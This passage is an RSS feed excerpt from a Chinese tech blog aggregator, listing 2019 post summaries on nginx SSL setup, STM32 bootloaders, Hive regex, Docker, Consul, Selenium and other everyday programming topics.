      <guid>https://bchobby.github.io/posts/73d182fae22ad8e3ef52e14508a362b3/</guid>
      <description>nginx安装的时候需要支持：with-http_ssl_module 模块&#xA;查看nginx是否支持：/application/nginx/sbin/nginx -V&#xA;证书生成 免费证书可使用阿里云申请获取，这里采用本地生成证书来配置&#xA;安装openssl工具yum install openssl yum install openssl-devel 生成证书&#xA;进入证书目录cd /application/nginx/conf/cert 创建本地私有密钥openssl genrsa -out ssl.silly.com.key 2048 按提示输入相关信息就可以openssl req -new -key ssl.silly.com.key -out ssl.silly.com.csr 创建证书crtopenssl x509 -req -days 1460 -in ssl.silly.com.csr -signkey ssl.silly.com.key -out ssl.silly.com.crt 创建证书pemopenssl dhparam -out ssl.silly.com.pem 2048 nginx配置文件 server_name : 未配置的域名，根据实际需求修改&#xA;配置443端口&#xA;server { listen 443 ssl; server_name ssl.silly.com; ssl_certificate /application/nginx/conf/cert/ssl.silly.com.crt; ssl_certificate_key /application/nginx/conf/cert/ssl.silly.com.key; #ssl_dhparam /application/nginx/conf/cert/ssl.silly.com.pem; ssl_session_timeout 5m; ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_prefer_server_ciphers on; location / { root html; index index.</description>
    </item>
    <item>
      <title>STM32 CM3中APP和Boot跳转问题分析</title>
      <link>https://bchobby.github.io/posts/ff4aef86cffd33298acc6c217b3bb6ff/</link>
      <pubDate>Sat, 22 Jun 2019 11:34:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff4aef86cffd33298acc6c217b3bb6ff/</guid>
      <description>本文主要是分析一下CM3中程序跳转原理以及需要注意的坑，CM4中跳转原理也是一样的。&#xA;一 应用场景 有时我们希望CM3上电后先运行一段bootloader程序，用于做一些前序的处理和控制，然后再跳转到APP代码去运行。&#xA;例如产品交付客户后发现需要升级一些功能，这个时候又不能打开产品外壳去重新下载程序，那么就可以通过这段bootloader程序来进行更新，那么这个bootloader就需要具有和外部通信的功能（例如使用CAN或者串口），可以接收传入的代码，并可以读写flash。&#xA;前序操作结束后，就需要跳转到APP代码去。总共需要2个Keil工程，一个bootloader的，一个APP的。&#xA;二 跳转代码 本文使用STM32F103RCT6，Keil 5.25来做的测试，期望的Flash代码结构如下，&#xA;跳转代码网上很多，本文也是从别的博客上copy过来的，如下（经过验证是OK的），&#xA;#include &amp;lt;stdint.h&amp;gt; const uint32_t APP_FLASH_ADDRESS = 0X08008000; // APP代码在Flash上的起始地址 typedef void (*pFunction)(void); // 定义一个函数指针类型pFunction pFunction Jump_To_Application; // 定义一个函数指针变量 void JumpToApp(uint32_t target_address) { __disable_irq(); // 关闭总中断 // 代码的flash起始地址加4，就是Reset Handler的函数地址 uint32_t JumpAddress = *(__IO uint32_t*)(target_address+4); Jump_To_Application = (pFunction)JumpAddress; // 把这个地址转为函数指针 __set_MSP(*(__IO uint32_t*)target_address); // 设置栈顶地址 Jump_To_Application(); // 开始运行APP的Reset Handler } int main(void) { JumpToApp(APP_FLASH_ADDRESS); // 执行跳转命令 return 0; } 其对应的Keil配置如下，&#xA;编译好直接烧录就行了。</description>
    </item>
    <item>
      <title>python虎扑社区论坛数据爬虫分析报告</title>
      <link>https://bchobby.github.io/posts/b831f154267a3df8a9b222696a99af5b/</link>
      <pubDate>Fri, 21 Jun 2019 16:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b831f154267a3df8a9b222696a99af5b/</guid>
      <description>以下是摘自虎扑的官方介绍：&#xA;虎扑是为年轻男性服务的专业网站，涵盖篮球、足球、F1、NFL等赛事的原创新闻专栏视频报道，拥有大型的生活/影视/电竞/汽车/数码网上交流社区，聊体育谈兴趣尽在虎扑。&#xA;二、数据说明&#xA;使用的数据来源：&#xA;2018/1/1~1/19 两周半内虎扑论坛步行街各子版块的所有帖子，去除关注度极低的帖子，总数为3.3W+；&#xA;上述3.3W+篇帖子中主干道版块的回复用户的个人信息，去重后用户总数为2.3W+。&#xA;三、虎扑论坛分析&#xA;1.各版块活跃度分析&#xA;在虎扑社区由10个分论坛，380个子版块构成，日发帖量达到70W+,其中哪一个最活跃呢？通过对比每个版块发帖量，可以发现，在大的分论坛中 【装备论坛】的发帖量最高，其次是【步行街】和【NBA】；在380个子板块中，【运动装备】]和【交易区】最热门，其次是【步行街主干道】和【湿乎乎的话题】；其中，【装备论坛】的发帖占比近7成，远高于其他，而【步行街】又高于【NBA】两倍。&#xA;可以看出，交易属性和社交属性是虎扑维持社区热度和用户的活跃度的关键。&#xA;各大分论坛发帖量占比&#xA;各子版块发帖量占比&#xA;2.步行街发帖内容分析&#xA;除了交易版块，【步行街】和【NBA】是虎扑活跃度最高的版块，【NBA论坛】的话题一般围绕赛事展开，而【步行街】的社交属性比较强，通过对【步行街】的分析，可以看到在体育赛事之余，虎扑的会员都在关注些什么。&#xA;...&#xA;四、虎扑用户分析&#xA;1.用户性别&#xA;....&#xA;2.用户所在地&#xA;.....&#xA;3. 用户的运动爱好&#xA;......&#xA;4.用户日停留时长&#xA;....&#xA;五、分析总结&#xA;总体上看，虎扑会员以年轻的男性和在校大学生为主，他们喜欢篮球等体育运动，关注NBA,英超等球类联赛；但在步行街社区，他们的话题不仅限于体育，八卦热点，情感咨询等都是他们关注的内容；并且他们每天在虎扑停留时间较长，可以说虎扑的内容很好的抓住了目前的用户群体。&#xA;还有问题？联系我们！ 转载于:https://www.cnblogs.com/tecdat/p/11065354.html</description>
    </item>
    <item>
      <title>amr文件怎么转换成mp3</title>
      <link>https://bchobby.github.io/posts/3c2eef3b9b39020ecb2e6698961498a4/</link>
      <pubDate>Fri, 21 Jun 2019 13:03:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c2eef3b9b39020ecb2e6698961498a4/</guid>
      <description>AMR是一个很特殊的音频格式，常被手机各大厂商广泛认可的一种手机录音保存格式。AMR文件的容量非常小，每秒钟的音频文件可以控制在1KB左右，所以即使是长达1分钟的音频文件，亦可以控制在50KB左右，所以许多的彩信加载人声都是采用这个格式的，但是因为这个格式的音频体积非常小，所以音质就可想而知的，非常的差。许多人在拿到AMR音频的第一时间就会将这种格式的音频转换成MP格式3，那么怎么转换呢？下面我们一起来看看吧。&#xA;具体步骤：&#xA;首先我们在电脑上打开迅捷音频转换器，然后点击上方“音频转换”这个选项，进入音频格式转换界面。&#xA;随后我们点击“添加文件”或者“添加文件夹”将AMR格式音频导入，当然你也可以直接将音频从文件夹中直接拖入到软件中来。&#xA;之后，我们在“输出文件格式”下拉框中将我们音频的输出格式设置为MP3格式。&#xA;如果你需要设置转换音频的音质和声道，我们可以点击”高级设置”。设置好后，我们点击”确定”，即可保存更改。&#xA;下面一步，我们可以设置转换音频的保存路径，这样以后我们的音频转换完成了，我们就能在第一时间找到我们的音频文件了。点击“更改路径”，然后选择你需要保存的文件夹，设置好后，我们点击“选择文件夹”就行了。&#xA;最后，我们就可以开始转换音频了，点击界面底部的“开始转换”，软件便会开始转换我们的音频，然后耐心等待音频转换完成（转换一首歌整个过程大约一、两分钟）。&#xA;当音频转换好后，我们点击“打开文件夹”，即可找到我们转换好的音频文件。&#xA;以上便是amr文件怎么转换成mp3的全部步骤了，整个步骤介绍的还是比较详细的，大家认真的看一遍，然后跟着操作一下就行了，很轻易的就能学会。</description>
    </item>
    <item>
      <title>组合类相关题目</title>
      <link>https://bchobby.github.io/posts/eed048e5ae07c8d7f1a8965163cfd235/</link>
      <pubDate>Thu, 20 Jun 2019 18:41:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eed048e5ae07c8d7f1a8965163cfd235/</guid>
      <description>定义一个组合类课程类Lesson，其数据成员有：课号id，课程名name，任课老师teacher，选课学生s，其中学生信息定义成学生类的数组。成员函数有：AddStudent增加选课学生信息，GetPassRate计算课程的及格率，ShowInfo显示课程信息。学生类包括学号、姓名及该门课的成绩。用上述类的组合实现课程的管理。 #include &amp;lt;iostream&amp;gt; #include &amp;lt;string.h&amp;gt; using namespace std; class Student{ public: Student(){} Student(string a,string b,float c):num(a),name(b),score(c){} void display();&#x9;//显示学生信息函数 private: string num;&#x9;//学生学号 string name; float score; }; class Lesson{ public: Lesson(string x,string y,string z):id(x),name(y),teacher(z){} void AddStudent(); void GetPassRate(); void ShowInfo(); static int count;&#x9;//使用静态变量更好 static int total; static float rate; private: string id; string name; string teacher; Student s[70];&#x9;//使用数组，能够灵活录入多个学生信息 }; int Lesson::count=0;&#x9;//类外初始化变量 int Lesson::total=0; float Lesson::rate=-1; void Student::display() { cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>hive中regexp_extract的用法总结</title>
      <link>https://bchobby.github.io/posts/79ded99c70f6742b796731bc7b715e11/</link>
      <pubDate>Thu, 20 Jun 2019 16:07:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79ded99c70f6742b796731bc7b715e11/</guid>
      <description>1。regexp_extract 语法: regexp_extract(string subject, string pattern, int index)&#xA;返回值: string&#xA;说明： 将字符串subject按照pattern正则表达式的规则拆分，返回index指定的字符。&#xA;第一参数： 要处理的字段&#xA;第二参数: 需要匹配的正则表达式&#xA;第三个参数:&#xA;0是显示与之匹配的整个字符串1 是显示第一个括号里面的2 是显示第二个括号里面的字段... 注意，在有些情况下要使用转义字符（双斜杠了‘\\’）。&#xA;select&#xA;regexp_extract(&#39;x=a3&amp;amp;x=18abc&amp;amp;x=2&amp;amp;y=3&amp;amp;x=4&#39;,&#39;x=([0-9]+)([a-z]+)&#39;,0), -- x=18abc&#xA;regexp_extract(&#39;x=a3&amp;amp;x=18abc&amp;amp;x=2&amp;amp;y=3&amp;amp;x=4&#39;,&#39;^x=([a-z]+)([0-9]+)&#39;,0), -- x=a3&#xA;regexp_extract(&#39;https://detail.tmall.com/item.htm?spm=608.7065813.ne.1.Ni3rsN&amp;amp;id=522228774076&amp;amp;tracelog=fromnonactive&#39;,&#39;id=([0-9]+)&#39;,0), -- id=522228774076&#xA;regexp_extract(&#39;https://detail.tmall.com/item.htm?spm=608.7065813.ne.1.Ni3rsN&amp;amp;id=522228774076&amp;amp;tracelog=fromnonactive&#39;,&#39;id=([0-9]+)&#39;,1), -- 522228774076&#xA;regexp_extract(&#39;http://a.m.taobao.com/i41915173660.htm&#39;,&#39;i([0-9]+)&#39;,0), -- i41915173660&#xA;regexp_extract(&#39;http://a.m.taobao.com/i41915173660.htm&#39;,&#39;i([0-9]+)&#39;,1) -- 41915173660&#xA;select regexp_extract(&#39;hitdecisiondlist&#39;,&#39;(i)(.*?)(e)&#39;,0) ;&#xA;结果：itde&#xA;select regexp_extract(&#39;hitdecisiondlist&#39;,&#39;(i)(.*?)(e)&#39;,1) ;&#xA;结果：i&#xA;select regexp_extract(&#39;hitdecisiondlist&#39;,&#39;(i)(.*?)(e)&#39;,2) ;&#xA;结果：td&#xA;select regexp_extract(&#39;x=a3&amp;amp;x=18abc&amp;amp;x=2&amp;amp;y=3&amp;amp;x=4&#39;,&#39;x=([0-9]+)([a-z]+)&#39;,2) from default.dual;&#xA;结果：abc</description>
    </item>
    <item>
      <title>Apple Watch今年将能删除部分预装应用 包括闹钟、定时器等</title>
      <link>https://bchobby.github.io/posts/bd804de48ba77934d76768e6318ea142/</link>
      <pubDate>Thu, 20 Jun 2019 09:52:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd804de48ba77934d76768e6318ea142/</guid>
      <description>【TechWeb】6月20日消息，据国外媒体报道，在2016允许iOS用户删除iPhone和iPad中的部分预装应用后，苹果今年在Apple Watch中也将加入删除预装应用这一功能。&#xA;从外媒的报道来看，在watchOS6操作系统正式推送之后，Apple Watch用户就能删除部分不喜欢的预装应用，这一新的Apple Watch操作系统在6月3日的苹果全球开发者大会上已正式发布，在今年下半年就将正式向用户推送。&#xA;可删除的预装应方面，外媒列出的包括闹钟、定时器、秒表、遥控器、相机遥控器、收音机、对讲机，也包括心电图、呼吸、噪音、周期跟踪等健康方面的预装应用，苹果本周也给出了这一些此前不可删除的预装应用的名单。&#xA;不过外媒在报道中也指出，并不是所有的Apple Watch预装应用都允许用户删除，一些核心的预装应用，如心率和信息等，用户依旧是无法删除的。&#xA;删除预装应用的方式方面，同目前用户删除第三方应用的方式仍是一样的，即长按要删除的预装应用，然后点击“X”就可删除。</description>
    </item>
    <item>
      <title>selenium By八种方式定位元素</title>
      <link>https://bchobby.github.io/posts/9631df9a41ec1b6ed2f3f09c42cbf0ea/</link>
      <pubDate>Wed, 19 Jun 2019 21:28:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9631df9a41ec1b6ed2f3f09c42cbf0ea/</guid>
      <description> BY方式定位&#xA;使用selenium的By方式定位，首先得导入该模块&#xA;from selenium.webdriver.common.by import By&#xA;id属性定位&#xA;find_element(By.ID,&#34;id&#34;)name属性定位&#xA;find_element(By.NAME,&#34;name&#34;)classname属性定位&#xA;find_element(By.CLASS_NAME,&#34;claname&#34;)a标签文本属性定位&#xA;find_element(By.LINK_TEXT,&#34;text&#34;)a标签部分文本属性定位&#xA;find_element(By.PARTIAL_LINK_TEXT,&#34;partailtext&#34;)标签名定位&#xA;·find_elemnt(By.TAG_NAME,&#34;input&#34;)xpath路径定位&#xA;find_element(By.XPATH,&#34;//div[@name=&#39;name&#39;]&#34;)css选择器定位&#xA;find_element(By.CSS_SELECTOR,&#34;#id&#34;) </description>
    </item>
    <item>
      <title>java 去除字符串中所有空格</title>
      <link>https://bchobby.github.io/posts/1cf12eab95fc7e127e636c0ea0943b97/</link>
      <pubDate>Wed, 19 Jun 2019 18:27:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cf12eab95fc7e127e636c0ea0943b97/</guid>
      <description>Strim或者Trip都是只能去除头部和尾部的空字符串。中间的部分是不能够去除的!&#xA;推荐使用ApacheCommonse的StringUtils.deleteWhitespace(&#34;a b c&#34;); 删除所有空格。&#xA;1. String.trim() trim()是去掉首尾空格 2.str.replace(&#34; &#34;, &#34;&#34;); 去掉所有空格，包括首尾、中间 String str = &#34; hell o &#34;; String str2 = str.replaceAll(&#34; &#34;, &#34;&#34;); System.out.println(str2); 3.或者replaceAll(&#34; +&#34;,&#34;&#34;); 去掉所有空格 4.str = .replaceAll(&#34;\\s*&#34;, &#34;&#34;); 可以替换大部分空白字符， 不限于空格 \s 可以匹配空格、制表符、换页符等空白字符的其中任意一个 5.或者下面的代码也可以去掉所有空格，包括首尾、中间 public String remove(String resource,char ch) { StringBuffer buffer=new StringBuffer(); int position=0; char currentChar; while(position&#xA;{ currentChar=resource.charAt(position++); if(currentChar!=ch) buffer.append(currentChar); } return buffer.toString(); }</description>
    </item>
    <item>
      <title>CoordinatorLayout&#43;AppBarLayout&#43;RecyclerView遇到的关于滑动的问题</title>
      <link>https://bchobby.github.io/posts/9b33493a96328c81808d377b63245c00/</link>
      <pubDate>Wed, 19 Jun 2019 17:53:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b33493a96328c81808d377b63245c00/</guid>
      <description>如图 采用的是CoordinatorLayout+AppBarLayout+TabLayout+RecyclerView 点击tab标签时自动吸顶 滑动到上边也自动吸顶&#xA;遇到的问题&#xA;1： tablayout吸顶之后 在往上滑动一点recyclerview 往下滑动时先滑动的是AppBar 而不是Recyclerview&#xA;2：当recyclerView数据较少是 滑动不下来 appBar不能顺利展开&#xA;先说第一个问题 刚开始我以为是滑动冲突 找了很多资料 都没有解决 最后发现问题还真是有点尴尬 源于自己对CoordinatorLayout不理解&#xA;这是结构 其中linerLayout是滑动的部分 关于scrollFlags这个属性请自行翻阅资料 我这个原因就是因为多设置了enterAlways这个属性 去掉之后 从上往下滑动时 优先滑动的是RecyclerView 其次才是AppBar&#xA;第二个问题解决办法是把recyclerView的高度设置为match_parent 我之前用的是wrap_content&#xA;这个结构有点low&#xA;现在已经改为CoordinatorLayout+AppBarLayout+viewPager+RecyclerView</description>
    </item>
    <item>
      <title>Required String parameter &#39;username&#39; is not present问题解决</title>
      <link>https://bchobby.github.io/posts/de3c4db3ccabe8fea185682512919c89/</link>
      <pubDate>Wed, 19 Jun 2019 14:17:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de3c4db3ccabe8fea185682512919c89/</guid>
      <description>同样的一份代码，在测试环境下已经好用，准备上线确出现了这样的问题：&#xA;Required String parameter &#39;username&#39; is not present 排除是程序代码的问题，就检查环境是否存在问题。&#xA;测试环境是tomcat的6.0.9.0&#xA;正式环境的tomcat版本7.0.70.0：&#xA;相关的配置：&#xA;里面有一个maxPostSize的设置，原先默认为0&#xA;原来tomcat从7.0.63开始maxPostSize=-1为不限制，之前是0为不限制。修改完后重启，访问就可以正常了。&#xA;参考文章：https://blog.csdn.net/erlian1992/article/details/80209947</description>
    </item>
    <item>
      <title>常见的新算法的标准测试函数</title>
      <link>https://bchobby.github.io/posts/ed9c8ac74026a6315be79c8284fc0cc8/</link>
      <pubDate>Tue, 18 Jun 2019 19:27:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed9c8ac74026a6315be79c8284fc0cc8/</guid>
      <description>标准测试函数相关详细介绍请参考测试函数集：http://www.sfu.ca/~ssurjano/index.html。&#xA;目录&#xA;1、优化测试问题【Optimization Test Problems】&#xA;1）许多局部极小值 【Many Local Minima】&#xA;2）碗状【Bowl-Shaped】&#xA;3）板状【Plate-Shaped】&#xA;4）山谷状【Valley-Shaped】&#xA;5）陡峭的山脊/瀑布 【Steep Ridges/Drops】&#xA;6）其他【Other】&#xA;2、仿真/预测测试问题【Emulation/Prediction Test Problems】&#xA;1） Physical Models&#xA;2） Qualitative and Quantitative Inputs&#xA;3） Trigonometric&#xA;4） Exponential/Logarithmic&#xA;5） Rational&#xA;6） Other&#xA;3、不确定度量化测试问题【Uncertainty Quantification Test Problems】&#xA;1）Physical Models&#xA;2）Other&#xA;4、多保真仿真测试问题【Multi Fidelity Simulation Test Problems】&#xA;1） Physical Models&#xA;2） Other&#xA;5、校准/调谐测试问题【Calibration/Tuning Test Problems】&#xA;1）Physical Models&#xA;2）Other&#xA;6、筛选测试问题【Screening Test Problems】&#xA;1）Physical Models&#xA;2）Strong Interactions&#xA;3）High Dimensionality&#xA;4）Qualitative and Quantitative Inputs</description>
    </item>
    <item>
      <title>python字符串常用方法及汇总</title>
      <link>https://bchobby.github.io/posts/4be7b3d099577f8f772df02982759836/</link>
      <pubDate>Tue, 18 Jun 2019 18:57:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4be7b3d099577f8f772df02982759836/</guid>
      <description>字符串常用方法 字符串基本特点引号创建字符串空字符串和 len()函数转义字符字符串拼接字符串复制不换行打印从控制台读取字符串str()实现数字转型字符串使用[]提取字符replace()实现字符串替换字符串切片 slice 操作split()分割和 join()合并拼接字符串要点：字符串驻留机制和字符串比较字符串比较和同一性成员操作符字符串常用方法汇总常用的查找方法去除首尾信息大小写转换格式排版其他方法 字符串的格式化format()基本用法填充与对齐数字格式化其他格式，供大家参考：可变字符串 Python的字符串内建函数 字符串基本特点 很多人初学编程时，总是担心自己数学不行，潜意识里认为数学好才能编程。实际上，&#xA;大多数程序员打交道最多的是“字符串”而不是“数字”。因为，编程是用来解决现实问题&#xA;的，因此逻辑思维的重要性远远超过数学能力。&#xA;字符串的本质是：字符序列。Python 的字符串是不可变的，我们无法对原字符串做任&#xA;何修改。但，可以将字符串的一部分复制到新创建的字符串，达到“看起来修改”的效果。&#xA;Python 不支持单字符类型，单字符也是作为一个字符串使用的。&#xA;字符串的编码&#xA;Python3 直接支持 Unicode，可以表示世界上任何书面语言的字符。Python3 的字符默认就是 16 位 Unicode 编码，ASCII 码是 Unicode 编码的子集。&#xA;使用内置函数 ord()可以把字符转换成对应的 Unicode 码；&#xA;使用内置函数 chr()可以把十进制数字转换成对应的字符。&#xA;&amp;gt;&amp;gt;&amp;gt; ord(&#39;A&#39;) 65 &amp;gt;&amp;gt;&amp;gt; ord(&#39;高&#39;) 39640 &amp;gt;&amp;gt;&amp;gt; chr(66) &#39;B&#39; &amp;gt;&amp;gt;&amp;gt; ord(&#39;淇&#39;) 28103 引号创建字符串 我们可以通过单引号或双引号创建字符串。例如：a=’abc’; b=”sxt”&#xA;使用两种引号的好处是可以创建本身就包含引号的字符串，而不用使用转义字符。例如：&#xA;&amp;gt;&amp;gt;&amp;gt; a = &#34;I&#39;m a teacher!&#34; &amp;gt;&amp;gt;&amp;gt; print(a) I&#39;m a teacher! &amp;gt;&amp;gt;&amp;gt; b = &#39;my_name is &#34;TOM&#34;&#39; &amp;gt;&amp;gt;&amp;gt; print(b) my_name is &#34;</description>
    </item>
    <item>
      <title>Docker底层工作原理</title>
      <link>https://bchobby.github.io/posts/9bf67455b288b2a8fcb6054b090b970e/</link>
      <pubDate>Tue, 18 Jun 2019 18:10:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bf67455b288b2a8fcb6054b090b970e/</guid>
      <description>Docker是怎么工作的&#xA;Docker是一个Client-Server结构的系统，Docker守护进程运行在主机上， 然后通过Socket连接从客户端访问，守护进程从客户端接受命令并管理运行在主机上的容器。 容器，是一个运行时环境，就是我们前面说到的集装箱。&#xA;为什么Docker比较比VM快&#xA;(1)docker有着比虚拟机更少的抽象层。由亍docker不需要Hypervisor实现硬件资源虚拟化,运行在docker容器上的程序直接使用的都是实际物理机的硬件资源。因此在CPU、内存利用率上docker将会在效率上有明显优势。&#xA;(2)docker利用的是宿主机的内核,而不需要Guest OS。因此,当新建一个容器时,docker不需要和虚拟机一样重新加载一个操作系统内核。仍而避免引寻、加载操作系统内核返个比较费时费资源的过程,当新建一个虚拟机时,虚拟机软件需要加载Guest OS,返个新建过程是分钟级别的。而docker由于直接利用宿主机的操作系统,则省略了返个过程,因此新建一个docker容器只需要几秒钟。</description>
    </item>
    <item>
      <title>Springcloud Consul部署实战 -2</title>
      <link>https://bchobby.github.io/posts/7b7b15526ed518c011de92bb202a0919/</link>
      <pubDate>Tue, 18 Jun 2019 12:31:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b7b15526ed518c011de92bb202a0919/</guid>
      <description>上一篇文章介绍了如何构建一个最简单consul集群，下面将继续详细介绍如何详细配置和使用consul。&#xA;consul是支持多配置文件加载的，可以在/etc/consul.d/ 路径下创建任意名字的.json文件，如config.json&#xA;可以在该文件中添加详细的consul agent配置。例如，设置如下json字段，设置log的级别为info，更改consul agent的节点的启动名字为nn1,设置本机ip可以通过http,https,grpc,dns对外开放，http、dns、grpc、serf_lan、serf_wan、consul server的默认地址分别为8500 8600 8400 8301 8302 8300，如果在配置文件中不显示指定，那么consul启动后可能会更改默认的端口号。如果当我们启动其他consul时，通过-retry-join 加入server端时报错，拒绝连接，原因就是因为server端的端口发生了改动，它默认去连接8301端口，此时-retry-join不能直接写ip地址，需要写对应的修改后的serf_lan端口 列如：-retry-join x.x.x.x:8311。下面是一个config.json的配置文件例子，目前我的测试集群就是这么配的。&#xA;{&#xA;&#34;log_level&#34;: &#34;INFO&#34;,&#xA;&#34;node_name&#34;: &#34;nn1&#34;,&#xA;&#34;addresses&#34;: {&#xA;&#34;https&#34;: &#34;0.0.0.0&#34;,&#xA;&#34;http&#34;: &#34;0.0.0.0&#34;,&#xA;&#34;gRPC&#34;: &#34;0.0.0.0&#34;,&#xA;&#34;DNS&#34;: &#34;0.0.0.0&#34;&#xA;},&#xA;&#34;ports&#34;: {&#xA;&#34;https&#34;: 8501,&#xA;&#34;http&#34;: 8500,&#xA;&#34;gRPC&#34;: 8502,&#xA;DNS: 8600&#34;&#xA;}&#xA;}&#xA;Consul UI 集群搭建成功后可以通过http://配置了UI的服务器ip:consul服务端口号/ui 访问consul的UI&#xA;服务注册和服务服务 consul 集群搭建好后，我们就可以把自己的微服务注册到consul集群，通过consul来管理和查询我们的微服务。以下大部分内容来自spring cloud官方文档，如果有理解不到位之处，请大家给与指正https://cloud.spring.io/spring-cloud-consul/multi/multi_spring-cloud-consul-discovery.html&#xA;如何引入服务发现&#xA;Consul通过HTTP API和DNS提供服务发现服务。 Spring Cloud Consul利用HTTP API进行服务注册和发现。 但这并不妨碍非Spring Cloud应用程序利用DNS接口。 Consul Agents服务器运行在cluster中，群集通过gossip protocol 协议进行通信并使用Raft一致性协议来保证各个agent的一致性。&#xA;要激活Consul Service Discovery，应该使用group id 为org.springframework.cloud和artifact id 为spring-cloud-starter-consul-discovery的starter。 利用Spring Cloud Release Train构建系统的详细信息，请参阅Spring Cloud Project页面。</description>
    </item>
    <item>
      <title>Jquery中的Each方法</title>
      <link>https://bchobby.github.io/posts/c806d980c99fc9b42a18441625c6f521/</link>
      <pubDate>Tue, 18 Jun 2019 08:11:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c806d980c99fc9b42a18441625c6f521/</guid>
      <description>开发工具与关键技术：MVC&#xA;Each是在内部都会调用的方法，其实主要的原因是它是一个元素集合，Jquery的大部分方法都是针对元素合集的操作，所以内部的会调用Each来处理Div这合集，.Each只是处理Jquery的对象方法，Jquery还提供一个通用的Jquery.Each的方法用来处理对象和数组的遍历。&#xA;Jquery.each(array, callback )&#xA;Jquery.each( object, callback )&#xA;第一个参数传递的就是一个对象或数组，第二个则是回调函数，&#xA;Each就是一个For循环方法的一个包装，内部是通过For循环遍历数组与对象，也可以通过回掉函数返回内部的一些参数，当第一个参数是当前成员在对象数组中的索引值（从0开始算起），第二个参数是当前的成员(Jquery.Each() 的函数还会根据每次调用的函数返回值来决定之后的操作，如果返回False，这停止停止循环)。&#xA;如果返回其他的值，则均表示继续执行下一个循环遍历。&#xA;还有一个在Jquery中查找数组的索引In Array，Jquery.In Array 的函数是用于数组中的搜索指定值，并返回索引值，如果数组中不存在这个值，则返回False。&#xA;用法较为简单，首先传递一个用于检测的目标值，然后传递原始的数组，之后可以通过规定来查找起始值，默认的数组是为0开始。&#xA;值得注意的是：如果要判断数组中是否存在指定值，你需要通过函数的返回值不等于-1来进行判断</description>
    </item>
    <item>
      <title>C&#43;&#43;实现的邻接表</title>
      <link>https://bchobby.github.io/posts/46ea581808e20020f457a87fb9c4be51/</link>
      <pubDate>Mon, 17 Jun 2019 20:09:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46ea581808e20020f457a87fb9c4be51/</guid>
      <description>1. 在学习图的存储方式中，邻接矩阵和邻接表是两种比较常用的存储图的方式，下面使用的是C语言实现的邻接表&#xA;2. 具体的实现过程如下：&#xA;① 首先使用结构体声明图的结构体，图中顶点的结构体，以及指向下一条边的结构体，这些可以参照严蔚敏版的数据结构来写出具体的数据结构：&#xA;typedef struct ArcNode{ int adjvex;//该边所指向的节点的位置 struct ArcNode *nextarc; //&#x9;边的信息, 例如边的权重 int info; }ArcNode; typedef struct{ //顶点表存储当前顶点的信息 int data; //指向边的指针 ArcNode *firstarc; }Vnode; typedef struct{ //顶点数组 Vnode adjlist[maxSize]; //图中的顶点的数目和边的数目 int n, e; }AGraph ② 有了这些结构体之后那么我们需要声明一个指向图的一个指针，并且使用malloc函数为图分配内存空间，假如不分配的话那么在初始化顶点的第一条边的时候会出现错误，这个是与Java语言的不同的点&#xA;③ 在一开始的时候需要对链表的第一个顶点指向的第一条边的指针进行赋值，赋值为NULL，这个是必不可少的步骤，假如没有程序就会出现错误&#xA;④ 因为这里存储的是有向有权图，所以在控制台中需要输入顶点的数目，边的数目，和边的权重，新建一个新的ArcNode节点,&#xA;将节点的adjvex赋值为v，指向下一条边的指针赋值为NULL输入之后判断图中的起始顶点指向的第一条边的指针是否为空假如为空那么将当前顶点的firstarc指针指向这个节点加入不为空那么调用插入到链表中的insertNode方法，遍历链表将节点插入到链表的最后面&#xA;⑤ 创建好了邻接表之后那么我们就可以来遍历图了，循环遍历顶点数组，判断当前顶点的下标对应的firstarc是否为空来进行遍历，为空说明当前顶点是没有出度的，有边的话那么我们需要使用while循环来遍历整个顶点链表&#xA;我感觉最重要的是要理解其中的数据结构每个元素表达的意思还有就是注意C语言中的指针在初始化的时候要为NULL否则会出现错误&#xA;测试数据如下：&#xA;3. 下面是具体的代码：&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;iostream&amp;gt; #include&amp;lt;malloc.h&amp;gt; #define maxSize 1000 using namespace std; typedef struct ArcNode{ int adjvex; struct ArcNode *nextarc; int info; }ArcNode; typedef struct{ int data; ArcNode *firstarc; }Vnode; typedef struct{ Vnode adjlist[maxSize]; int n, e; }AGraph; AGraph *graph; void insertNode(ArcNode *node, ArcNode *newNode){ ArcNode *p = node; while(p-&amp;gt;nextarc !</description>
    </item>
    <item>
      <title>docker 删除 容器/镜像 方法</title>
      <link>https://bchobby.github.io/posts/d8cafff17cfb7ed1406583c4abf98fe2/</link>
      <pubDate>Mon, 17 Jun 2019 14:17:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8cafff17cfb7ed1406583c4abf98fe2/</guid>
      <description>docker的删除有两种，一个是rm 删除容器，一个是rmi删除镜像&#xA;想要删除运行过的images(镜像) 必须首先删除它的container(容器)&#xA;首先查看并找到要删除的镜像&#xA;docker images 这里我们要删除hello-world镜像 使用rmi 加 镜像id&#xA;docker rmi fce289e99eb9 报错,这是因为该镜像存在容器实例,不允许删除(必须先删除使用该镜像的容器)&#xA;docker ps -a 将该容器删除 使用 rm 加 容器id&#xA;docker rm 1a5fa469eadf 删除后再次查看,发现已经删除掉了&#xA;接下来再次执行删除镜像命令&#xA;docker rmi fce289e99eb9 再次查看镜像,发现已经删除掉了</description>
    </item>
    <item>
      <title>C语言  char*和char[]用法</title>
      <link>https://bchobby.github.io/posts/2dc4711ab06ebd943743febf58f34d88/</link>
      <pubDate>Sat, 15 Jun 2019 16:30:38 +0800</pubDate>
